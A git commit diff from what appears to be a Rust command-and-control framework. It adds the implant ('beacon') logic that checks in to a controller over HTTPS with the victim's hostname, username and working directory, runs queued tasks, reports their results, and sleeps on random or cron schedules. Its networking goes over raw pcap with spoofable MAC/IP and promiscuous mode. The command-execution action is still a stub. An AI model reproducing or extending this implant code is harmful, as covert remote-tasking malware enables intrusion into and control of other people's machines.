feat: record results of beacon callbacks
This commit is contained in:
parent
5ed8efca94
commit
7778e9b454
3
Cargo.lock
generated
3
Cargo.lock
generated
@ -3479,9 +3479,11 @@ version = "2.0.0"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"bindgen",
|
||||
"bytes",
|
||||
"chrono",
|
||||
"enum_delegate",
|
||||
"http",
|
||||
"http-body-util",
|
||||
"hyper",
|
||||
"hyper-util",
|
||||
"leptos",
|
||||
@ -3504,6 +3506,7 @@ version = "2.0.0"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"bytes",
|
||||
"chrono",
|
||||
"cron",
|
||||
"futures",
|
||||
"http",
|
||||
|
||||
@ -11,9 +11,9 @@ uuid = { version = "1.14.0", features = ["serde"] }
|
||||
enum_delegate = "0.2.0"
|
||||
async-trait = "0.1.86"
|
||||
serde_json = "1.0.139"
|
||||
thiserror = "2.0.11"
|
||||
|
||||
leptos = { version = "0.7.7", optional = true }
|
||||
thiserror = { version = "2.0.11", optional = true }
|
||||
pcap-sys = { path = "../pcap-sys", optional = true }
|
||||
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true }
|
||||
smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true }
|
||||
@ -23,11 +23,25 @@ hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1
|
||||
hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true }
|
||||
rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true }
|
||||
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
|
||||
bytes = { version = "1.10.0", optional = true }
|
||||
http-body-util = { version = "0.1.2", optional = true }
|
||||
|
||||
[build-dependencies]
|
||||
bindgen = "0.69"
|
||||
|
||||
[features]
|
||||
beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"]
|
||||
beacon = [
|
||||
"dep:pcap-sys",
|
||||
"dep:tokio",
|
||||
"dep:smoltcp",
|
||||
"dep:http",
|
||||
"dep:hyper-util",
|
||||
"dep:rustls",
|
||||
"dep:hyper",
|
||||
"dep:rmp-serde",
|
||||
"dep:bytes",
|
||||
"dep:http-body-util",
|
||||
"uuid/v4"
|
||||
]
|
||||
server-ssr = ["uuid/v4", "dep:sqlx"]
|
||||
server = ["dep:leptos"]
|
||||
|
||||
@ -1,47 +1,106 @@
|
||||
/// # Rules for actions:
|
||||
/// Cannot have fields that have the following names:
|
||||
/// `target_beacon_id`, `target_category_id`, or `cmd_type`
|
||||
#[cfg(feature = "server")]
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
|
||||
use crate::version::Version;
|
||||
|
||||
mod ls;
|
||||
mod update;
|
||||
mod exec;
|
||||
mod upload;
|
||||
mod install;
|
||||
mod download;
|
||||
// mod ls;
|
||||
// mod update;
|
||||
// mod upload;
|
||||
// mod install;
|
||||
// mod download;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
pub struct FileId(pub uuid::Uuid);
|
||||
|
||||
/// Macro used to enforce the invariant that struct names are used to identify
|
||||
/// the enum branch as well
|
||||
macro_rules! define_actions_enum {
|
||||
($(($mod:ident, $act:ident)),+) => {
|
||||
#[derive(::serde::Serialize, ::serde::Deserialize)]
|
||||
($(($mod:ident, $act:ident)),+$(,)?) => {
|
||||
#[derive(::serde::Serialize, ::serde::Deserialize, Clone, Debug)]
|
||||
#[serde(tag = "cmd_type")]
|
||||
pub enum Actions {
|
||||
$($act($mod::$act)),+,
|
||||
}
|
||||
|
||||
$(
|
||||
impl From<$mod::$act> for Actions {
|
||||
fn from(act: $mod::$act) -> Self {
|
||||
Self::$act(act)
|
||||
}
|
||||
}
|
||||
)*
|
||||
}
|
||||
}
|
||||
|
||||
define_actions_enum! {
|
||||
(ls, Ls),
|
||||
(update, Update),
|
||||
(exec, Exec),
|
||||
(upload, Upload),
|
||||
(install, Install),
|
||||
(download, Download)
|
||||
#[cfg(feature = "server-ssr")]
|
||||
#[derive(thiserror::Error, Debug)]
|
||||
pub enum BuildActionError {
|
||||
#[error("sqlx error")]
|
||||
Sqlx(#[from] sqlx::Error),
|
||||
#[error("io error")]
|
||||
Io(#[from] std::io::Error),
|
||||
#[error("json error")]
|
||||
Json(#[from] serde_json::Error)
|
||||
}
|
||||
|
||||
define_actions_enum! {
|
||||
(exec, Exec),
|
||||
// (ls, Ls),
|
||||
// (update, Update),
|
||||
// (upload, Upload),
|
||||
// (install, Install),
|
||||
// (download, Download),
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
#[cfg(feature = "beacon")]
|
||||
impl Action for Actions {
|
||||
const REQ_VERSION: Version = Version::new(2, 0);
|
||||
const REQ_OS: Option< &'static str> = None;
|
||||
const REQ_FIELDS: &'static[(&'static str, &'static str,Option< &'static str>)] = &[];
|
||||
|
||||
type ActionData = String;
|
||||
|
||||
async fn execute<'a, T, S>(
|
||||
&self,
|
||||
parameters: &Parameters,
|
||||
adapter: &'a T,
|
||||
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
||||
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||
where
|
||||
T: 'a + BeaconAdapter,
|
||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||
{
|
||||
macro_rules! match_arm {
|
||||
($cmd:expr) => {
|
||||
$cmd
|
||||
.execute(parameters, adapter, client)
|
||||
.await
|
||||
.and_then(|v| serde_json::to_string(&v)
|
||||
.map_err(Into::into))
|
||||
}
|
||||
}
|
||||
match self {
|
||||
Actions::Exec(e) => match_arm!(e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "server")]
|
||||
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
|
||||
&ActionBuilderImpl::<ls::Ls>::new(),
|
||||
&ActionBuilderImpl::<update::Update>::new(),
|
||||
&ActionBuilderImpl::<exec::Exec>::new(),
|
||||
&ActionBuilderImpl::<upload::Upload>::new(),
|
||||
&ActionBuilderImpl::<install::Install>::new(),
|
||||
&ActionBuilderImpl::<download::Download>::new(),
|
||||
//&ActionBuilderImpl::<ls::Ls>::new(),
|
||||
//&ActionBuilderImpl::<update::Update>::new(),
|
||||
//&ActionBuilderImpl::<upload::Upload>::new(),
|
||||
//&ActionBuilderImpl::<install::Install>::new(),
|
||||
//&ActionBuilderImpl::<download::Download>::new(),
|
||||
];
|
||||
|
||||
#[async_trait::async_trait]
|
||||
@ -51,33 +110,53 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
|
||||
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)];
|
||||
|
||||
type ActionData: Serialize + for<'a> Deserialize<'a>;
|
||||
#[cfg(feature = "server-ssr")]
|
||||
type BuilderData: for<'a> Deserialize<'a>;
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData;
|
||||
#[cfg(feature = "server-ssr")]
|
||||
async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>;
|
||||
|
||||
#[cfg(feature = "server")]
|
||||
fn render_data(&self, data: Self::ActionData) -> impl IntoView;
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute<'a, T, S>(
|
||||
&self,
|
||||
parameters: &Parameters,
|
||||
adapter: &'a T,
|
||||
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
||||
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||
where
|
||||
T: 'a + BeaconAdapter,
|
||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static;
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
#[cfg(feature = "server")]
|
||||
pub trait ActionBuilder {
|
||||
fn name(&self) -> &'static str;
|
||||
fn required_version(&self) -> Version;
|
||||
fn required_os(&self) -> Option<&'static str>;
|
||||
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)];
|
||||
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>;
|
||||
#[cfg(feature = "server-ssr")]
|
||||
async fn build_action(&self, body: serde_json::Value, db: &sqlx::SqlitePool) -> Result<Actions, BuildActionError>;
|
||||
}
|
||||
|
||||
#[cfg(feature = "server")]
|
||||
pub struct ActionBuilderImpl<T>(std::marker::PhantomData<T>);
|
||||
|
||||
#[cfg(feature = "server")]
|
||||
impl<T> ActionBuilderImpl<T> {
|
||||
pub const fn new() -> Self {
|
||||
Self(std::marker::PhantomData)
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
#[cfg(feature = "server")]
|
||||
impl<T> ActionBuilder for ActionBuilderImpl<T>
|
||||
where
|
||||
T: Action
|
||||
T: Action, Actions: From<T>
|
||||
{
|
||||
fn name(&self) -> &'static str {
|
||||
let tname = std::any::type_name::<T>();
|
||||
@ -92,7 +171,15 @@ where
|
||||
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] {
|
||||
T::REQ_FIELDS
|
||||
}
|
||||
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> {
|
||||
serde_json::from_value::<T>(body).map(|_| ())
|
||||
#[cfg(feature = "server-ssr")]
|
||||
async fn build_action(&self, body: serde_json::Value, db: &sqlx::SqlitePool) -> Result<Actions, BuildActionError> {
|
||||
let builder_data: T::BuilderData = serde_json::from_value(body)?;
|
||||
let built_action = T::build_action(builder_data, db).await?;
|
||||
Ok(built_action.into())
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "server")]
|
||||
unsafe impl<T> Send for ActionBuilderImpl<T> {}
|
||||
#[cfg(feature = "server")]
|
||||
unsafe impl<T> Sync for ActionBuilderImpl<T> {}
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::payload_types::Parameters;
|
||||
use crate::version::Version;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
pub struct Download {
|
||||
download_src: super::FileId,
|
||||
download_path: String,
|
||||
@ -22,7 +24,7 @@ impl super::Action for Download {
|
||||
type ActionData = ();
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData {
|
||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
||||
"Hi".to_string();
|
||||
}
|
||||
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
|
||||
use crate::version::Version;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Debug, Serialize, Deserialize, Clone)]
|
||||
pub struct Exec {
|
||||
exec_cmd: String
|
||||
}
|
||||
@ -18,10 +20,28 @@ impl super::Action for Exec {
|
||||
];
|
||||
|
||||
type ActionData = String;
|
||||
#[cfg(feature = "server-ssr")]
|
||||
type BuilderData = Self;
|
||||
|
||||
#[cfg(feature = "server-ssr")]
|
||||
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
|
||||
Ok(data)
|
||||
}
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData {
|
||||
"Execute".to_string()
|
||||
async fn execute<'a, T, S>(
|
||||
&self,
|
||||
_parameters: &Parameters,
|
||||
_adapter: &'a T,
|
||||
_client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
||||
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||
where
|
||||
T: 'a + BeaconAdapter,
|
||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||
{
|
||||
println!("Execute command {}", self.exec_cmd);
|
||||
|
||||
Ok("Execute".to_string())
|
||||
}
|
||||
|
||||
#[cfg(feature = "server")]
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::payload_types::Parameters;
|
||||
use crate::version::Version;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
pub struct Install {
|
||||
install_target: std::path::PathBuf
|
||||
}
|
||||
@ -20,7 +22,7 @@ impl super::Action for Install {
|
||||
type ActionData = ();
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData {
|
||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
||||
"Hi".to_string();
|
||||
}
|
||||
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::payload_types::Parameters;
|
||||
use crate::version::Version;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
pub struct Ls;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
@ -16,7 +18,7 @@ impl super::Action for Ls {
|
||||
type ActionData = ();
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData {
|
||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
||||
"Hi".to_string();
|
||||
}
|
||||
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::payload_types::Parameters;
|
||||
use crate::version::Version;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
pub struct Update;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
@ -16,7 +18,7 @@ impl super::Action for Update {
|
||||
type ActionData = ();
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData {
|
||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
||||
"Hello".to_string();
|
||||
}
|
||||
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
use leptos::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
use crate::payload_types::Parameters;
|
||||
use crate::version::Version;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
pub struct Upload {
|
||||
upload_src: String
|
||||
}
|
||||
@ -20,7 +22,7 @@ impl super::Action for Upload {
|
||||
type ActionData = ();
|
||||
|
||||
#[cfg(feature = "beacon")]
|
||||
async fn execute(&self) -> Self::ActionData {
|
||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
||||
"Hi".to_string();
|
||||
}
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ pub struct BeaconInterface {
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
pub trait BeaconAdapter {
|
||||
pub trait BeaconAdapter: Send + Sync {
|
||||
type Error: error::AdapterError + Send + Sync;
|
||||
|
||||
const OPERATING_SYSTEM: &'static str;
|
||||
|
||||
@ -37,4 +37,6 @@ where
|
||||
RmpSerdeDecode(#[from] rmp_serde::decode::Error),
|
||||
#[error("http error")]
|
||||
Hyper(#[from] hyper::Error),
|
||||
#[error("serde json error")]
|
||||
Json(#[from] serde_json::Error),
|
||||
}
|
||||
|
||||
@ -10,6 +10,7 @@ pub struct RegisterBeacon {
|
||||
pub operating_system: String,
|
||||
pub userent: String,
|
||||
pub hostname: String,
|
||||
pub version: crate::version::Version,
|
||||
}
|
||||
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
@ -37,4 +38,10 @@ pub enum RuntimeConfig {
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub struct BeaconConfig {
|
||||
pub runtime_config: RuntimeConfig,
|
||||
pub unfinished_actions: Vec<(i64, crate::actions::Actions)>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub struct CommandInvocationResult {
|
||||
pub result_body: String,
|
||||
}
|
||||
|
||||
@ -32,6 +32,7 @@ cron = "0.13.0"
|
||||
pcap-sys = { path = "../pcap-sys" }
|
||||
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
|
||||
packets = { path = "../packets" }
|
||||
chrono = "0.4.39"
|
||||
|
||||
[features]
|
||||
openssl = ["dep:rustls-openssl"]
|
||||
|
||||
@ -22,7 +22,7 @@ use crate::tcp::{self, setup_network};
|
||||
#[derive(Clone)]
|
||||
pub struct ServerConnector<T>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + 'static,
|
||||
T: adapter::BeaconAdapter + Clone + 'static,
|
||||
{
|
||||
adapter: T,
|
||||
parameters: Parameters,
|
||||
@ -30,7 +30,7 @@ where
|
||||
|
||||
impl<T> Service<Uri> for ServerConnector<T>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
T: adapter::BeaconAdapter + Clone + 'static,
|
||||
{
|
||||
type Response = TokioIo<tcp::NetInterfaceHandle>;
|
||||
type Error = error::BeaconError<T::Error>;
|
||||
@ -59,7 +59,7 @@ pub async fn obtain_https_client<T, B>(
|
||||
parameters: &Parameters,
|
||||
) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
T: adapter::BeaconAdapter + Clone + 'static,
|
||||
B: hyper::body::Body + Send,
|
||||
<B as hyper::body::Body>::Data: Send,
|
||||
{
|
||||
|
||||
@ -1,9 +1,13 @@
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
use std::{str::FromStr, time::{Duration, Instant}};
|
||||
|
||||
use cron::Schedule;
|
||||
use http::Response;
|
||||
use http_body_util::{BodyExt, Full};
|
||||
use hyper::{Request, Method};
|
||||
use hyper::{body::Incoming, Method, Request};
|
||||
use rand::Rng;
|
||||
|
||||
use sparse_actions::{adapter, error::BeaconError, messages};
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages};
|
||||
|
||||
mod callback;
|
||||
mod socket;
|
||||
@ -18,15 +22,14 @@ pub fn install_rustls() {
|
||||
let _ = rustls::crypto::ring::default_provider().install_default();
|
||||
}
|
||||
|
||||
pub async fn make_request<A, Req, Resp>(
|
||||
async fn make_request_inner<A, Req>(
|
||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
||||
uri: hyper::Uri,
|
||||
req_body: Req
|
||||
) -> Result<Resp, BeaconError<A::Error>>
|
||||
) -> Result<Response<Incoming>, BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
Req: serde::Serialize + Clone + Send + Sync + 'static,
|
||||
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
|
||||
A: adapter::BeaconAdapter + Clone + 'static,
|
||||
Req: serde::Serialize + Clone + Send + Sync + 'static
|
||||
{
|
||||
let mut body_buf = Vec::new();
|
||||
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
|
||||
@ -40,12 +43,47 @@ where
|
||||
let resp = client.request(req).await?;
|
||||
|
||||
if !resp.status().is_success() {
|
||||
return Err(BeaconError::SparseServerHttpError(resp.status()));
|
||||
}
|
||||
let status = resp.status().clone();
|
||||
|
||||
if cfg!(debug_assertions) {
|
||||
let body = resp.into_body();
|
||||
let body = body.collect().await?;
|
||||
|
||||
dbg!(body);
|
||||
}
|
||||
return Err(BeaconError::SparseServerHttpError(status));
|
||||
}
|
||||
|
||||
Ok(resp)
|
||||
}
|
||||
|
||||
pub async fn make_bodiless_request<A, Req>(
|
||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
||||
uri: hyper::Uri,
|
||||
req_body: Req
|
||||
) -> Result<(), BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + 'static,
|
||||
Req: serde::Serialize + Clone + Send + Sync + 'static
|
||||
{
|
||||
make_request_inner(client, uri, req_body).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn make_request<A, Req, Resp>(
|
||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
||||
uri: hyper::Uri,
|
||||
req_body: Req
|
||||
) -> Result<Resp, BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + 'static,
|
||||
Req: serde::Serialize + Clone + Send + Sync + 'static,
|
||||
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
|
||||
{
|
||||
let resp = make_request_inner(client, uri, req_body).await?;
|
||||
let body = resp.into_body();
|
||||
let body = body.collect().await?;
|
||||
rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into)
|
||||
}
|
||||
|
||||
@ -54,52 +92,126 @@ pub async fn run_beacon_step<A>(
|
||||
params: Parameters,
|
||||
) -> Result<(), BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
A: adapter::BeaconAdapter + Clone + 'static,
|
||||
{
|
||||
let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
|
||||
let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
|
||||
let beacon_id = std::str::from_utf8(¶ms.beacon_identifier)?.to_owned();
|
||||
|
||||
let _config: messages::BeaconConfig = {
|
||||
loop {
|
||||
let runtime_config = {
|
||||
let client = callback::obtain_https_client(&host_adapter, ¶ms).await?;
|
||||
|
||||
make_request(
|
||||
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
|
||||
&client,
|
||||
format!("https://{}/checkin", params::domain_name::<A>(¶ms)?).parse()?,
|
||||
messages::RegisterBeacon {
|
||||
beacon_id: std::str::from_utf8(¶ms.beacon_identifier)?.to_owned(),
|
||||
beacon_id: beacon_id.clone(),
|
||||
template_id: params.template_id,
|
||||
cwd: std::env::current_dir()?,
|
||||
operating_system: A::OPERATING_SYSTEM.to_string(),
|
||||
userent: userent.clone(),
|
||||
hostname: hostname.clone()
|
||||
hostname: hostname.clone(),
|
||||
version: sparse_actions::version::Version::new(
|
||||
std::env!("CARGO_PKG_VERSION_MAJOR")
|
||||
.parse()
|
||||
.expect("cargo did not provide a valid pkg version major"),
|
||||
std::env!("CARGO_PKG_VERSION_MINOR")
|
||||
.parse()
|
||||
.expect("cargo did not provide a valid pkg version minor"),
|
||||
)
|
||||
}
|
||||
).await?;
|
||||
|
||||
for (cmd_id, action) in unfinished_actions {
|
||||
let action_result = match action.execute(
|
||||
¶ms,
|
||||
&host_adapter,
|
||||
&client
|
||||
).await {
|
||||
Ok(res) => res,
|
||||
Err(e) => {
|
||||
if cfg!(debug_assertions) {
|
||||
eprintln!("Error running beacon command: {e:?}");
|
||||
}
|
||||
continue;
|
||||
}
|
||||
).await?
|
||||
};
|
||||
|
||||
loop {
|
||||
// let client = callback::obtain_https_client(&host_adapter, ¶ms).await?;
|
||||
|
||||
//use messages::RuntimeConfig as RC;
|
||||
//let target_wake_time = match &config.runtime_config {
|
||||
// RC::Oneshot => { break; },
|
||||
// RC::Random { interval_min, interval_max } => {},
|
||||
// RC::Regular { interval } => {},
|
||||
// RC::Cron { schedule, timezone } => {
|
||||
|
||||
// }
|
||||
//};
|
||||
make_bodiless_request(
|
||||
&client,
|
||||
format!(
|
||||
"https://{}/finish/{}/{}",
|
||||
params::domain_name::<A>(¶ms)?,
|
||||
beacon_id,
|
||||
cmd_id
|
||||
).parse()?,
|
||||
messages::CommandInvocationResult {
|
||||
result_body: action_result
|
||||
}
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
|
||||
// for _ in 1..5 {
|
||||
// let req = Request::builder()
|
||||
// .uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
|
||||
// .method()
|
||||
// .body(Empty::<bytes::Bytes>::new())?;
|
||||
// let resp = client.request(req).await?;
|
||||
runtime_config
|
||||
};
|
||||
|
||||
// println!("{:?} {:?}", resp.version(), resp.status());
|
||||
// let body = resp.into_body();
|
||||
// let body = body.collect().await;
|
||||
// println!("{:?}", body);
|
||||
// }
|
||||
use messages::RuntimeConfig as RC;
|
||||
let target_wake_time = match &runtime_config {
|
||||
RC::Oneshot => { break Ok(()); },
|
||||
RC::Random { interval_min, interval_max } => {
|
||||
let mut trng = rand::rng();
|
||||
let dist: f64 = trng.random();
|
||||
let rand_interval =
|
||||
((interval_max - interval_min) as f64 * dist) as u64
|
||||
+ interval_min;
|
||||
|
||||
let duration = Duration::new(rand_interval, 0);
|
||||
Instant::now() + duration
|
||||
},
|
||||
RC::Regular { interval } => {
|
||||
Instant::now() + Duration::new(*interval, 0)
|
||||
},
|
||||
RC::Cron { schedule, timezone } => {
|
||||
let sched = match Schedule::from_str(schedule) {
|
||||
Ok(sched) => sched,
|
||||
Err(e) => {
|
||||
if cfg!(debug_assertions) {
|
||||
eprintln!("Could not parse schedule expression: {e:?}");
|
||||
}
|
||||
break Ok(())
|
||||
}
|
||||
};
|
||||
|
||||
macro_rules! get_wait_duration {
|
||||
($sched:expr, $tz:ident) => {{
|
||||
let Some(dt) = sched.upcoming(chrono::$tz).next() else {
|
||||
if cfg!(debug_assertions) {
|
||||
eprintln!("could not get next cron invocation");
|
||||
}
|
||||
break Ok(());
|
||||
};
|
||||
|
||||
let now = chrono::$tz::now();
|
||||
|
||||
let Ok(dur) = (dt - now).to_std() else {
|
||||
if cfg!(debug_assertions) {
|
||||
eprintln!("next instance of ");
|
||||
}
|
||||
break Ok(());
|
||||
};
|
||||
|
||||
Instant::now() + dur
|
||||
}}
|
||||
}
|
||||
|
||||
match timezone {
|
||||
messages::CronTimezone::Utc => get_wait_duration!(sched, Utc),
|
||||
messages::CronTimezone::Local => get_wait_duration!(sched, Local)
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
tokio::time::sleep_until(target_wake_time.into()).await;
|
||||
}
|
||||
}
|
||||
|
||||
@ -152,7 +152,7 @@ pub async fn setup_network<T>(
|
||||
parameters: Parameters,
|
||||
) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + 'static,
|
||||
T: adapter::BeaconAdapter + Clone + 'static,
|
||||
{
|
||||
let net_info = tokio::task::spawn_blocking({
|
||||
let adapter = adapter.clone();
|
||||
@ -212,25 +212,26 @@ where
|
||||
|
||||
let default_route_if = &net_info.interfaces[default_route.interface_index];
|
||||
|
||||
unsafe {
|
||||
(
|
||||
default_route_if,
|
||||
default_route.gateway.0,
|
||||
default_route_if.mac_addr.clone(),
|
||||
unsafe {
|
||||
parameters.source_ip.use_host_networking.source_mac.clone(),
|
||||
Ipv4Addr::new(
|
||||
parameters.source_ip.use_host_networking.source_ip.a,
|
||||
parameters.source_ip.use_host_networking.source_ip.b,
|
||||
parameters.source_ip.use_host_networking.source_ip.c,
|
||||
parameters.source_ip.use_host_networking.source_ip.d,
|
||||
)
|
||||
},
|
||||
),
|
||||
default_route.gateway.1,
|
||||
)
|
||||
}
|
||||
}
|
||||
_ => panic!("Corrupted parameters present!"),
|
||||
};
|
||||
|
||||
let go_promisc = mac_address != [0, 0, 0, 0, 0, 0];
|
||||
|
||||
let mac_address = Some(mac_address)
|
||||
.filter(|smac| smac != &[0, 0, 0, 0, 0, 0])
|
||||
.unwrap_or(interface.mac_addr);
|
||||
|
||||
@ -12,9 +12,11 @@ pub mod error;
|
||||
mod router;
|
||||
|
||||
#[derive(Clone)]
|
||||
#[non_exhaustive]
|
||||
pub enum BeaconEvent {
|
||||
NewBeacon(String),
|
||||
Checkin(String)
|
||||
Checkin(String),
|
||||
BeaconCommandFinished(String, i64)
|
||||
}
|
||||
|
||||
pub struct BeaconListenerHandle {
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
use std::net::SocketAddr;
|
||||
|
||||
use axum::{extract::{State, ConnectInfo}, routing::post, Router};
|
||||
use axum::{extract::{State, ConnectInfo, Path}, routing::post, Router};
|
||||
use axum_msgpack::MsgPack;
|
||||
use sqlx::SqlitePool;
|
||||
use tokio::sync::broadcast;
|
||||
@ -15,7 +15,6 @@ pub struct ListenerState {
|
||||
event_publisher: broadcast::Sender<BeaconEvent>,
|
||||
}
|
||||
|
||||
#[axum::debug_handler]
|
||||
pub async fn handle_checkin(
|
||||
State(state): State<ListenerState>,
|
||||
ConnectInfo(addr): ConnectInfo<SocketAddr>,
|
||||
@ -94,20 +93,6 @@ pub async fn handle_checkin(
|
||||
.fetch_optional(&state.db)
|
||||
.await?;
|
||||
|
||||
if let Some(category_id) = template_category.map(|r| r.default_category).flatten() {
|
||||
if let Err(e) = sqlx::query!(
|
||||
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
|
